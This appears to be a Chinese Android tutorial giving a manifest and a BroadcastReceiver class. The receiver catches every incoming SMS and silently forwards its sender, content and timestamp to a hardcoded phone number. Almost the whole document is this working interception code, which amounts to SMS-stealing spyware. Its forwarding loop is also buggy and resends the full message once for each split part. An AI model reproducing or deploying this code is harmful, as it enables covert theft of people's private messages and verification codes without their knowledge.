AndroidManifest.xml
- 注冊广播接收者
- 加入权限
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.android_broadcastreceive"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />
<!-- 短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" > <!-- SMBbroadcastReceive广播接收器 -->
<receiver android:name="com.example.android_broadcastreceive.receive.SMBbroadcastReceive">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application> </manifest>
SMBbroadcastReceive.java
- 继承BroadcastReceiver类而且重写onReceive()方法
- 获取短信内容
- 创建短信管理对象
- 获取详细对象
- 获取须要的信息
package com.example.android_broadcastreceive.receive; import java.util.List; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log; /**
* 短信广播接收者
*
* @author zhaoyazhi
*
* 2014-6-16
*/
public class SMBbroadcastReceive extends BroadcastReceiver {
private static final String TAG = "SMBbroadcastReceive"; @Override
public void onReceive(Context context, Intent intent) {
Log.i(TAG, "接收发过来的广播");
Bundle bundle = intent.getExtras();
// 推断这个參数是否为null
if (bundle != null) {
// 依据get(pdus)參数获取这个短信内容,发送短信大于70字符(自己主动拆分)
Object[] pdus = (Object[]) bundle.get("pdus"); SmsManager sms = SmsManager.getDefault();
// 创建短信的管理器对象
for (int i = 0; i < pdus.length; i++) {
// 获取详细对象
Object pdu = pdus[i];
// 通过短信消息对象的createFromPdu(pdu)转换成短信的消息对象
SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
// 获取短信的内容
String msg = message.getMessageBody();
// 获取始发人
String originatingAddress = message.getOriginatingAddress();
// 时间
long time = message.getTimestampMillis();
// 状态
int status = message.getStatus(); String text = "发送人:" + originatingAddress + "-------------内容:"
+ msg + "-------------时间" + time + "-------------读取状态"
+ status;
// 转发的时候进行短信分开发送
List<String> list = sms.divideMessage(text);
//输出截取的短信内容
Log.i(TAG, text);
for (String s : list) {
//转发短信内容
sms.sendTextMessage("18931137891", null, text, null, null);
} }
}
}
}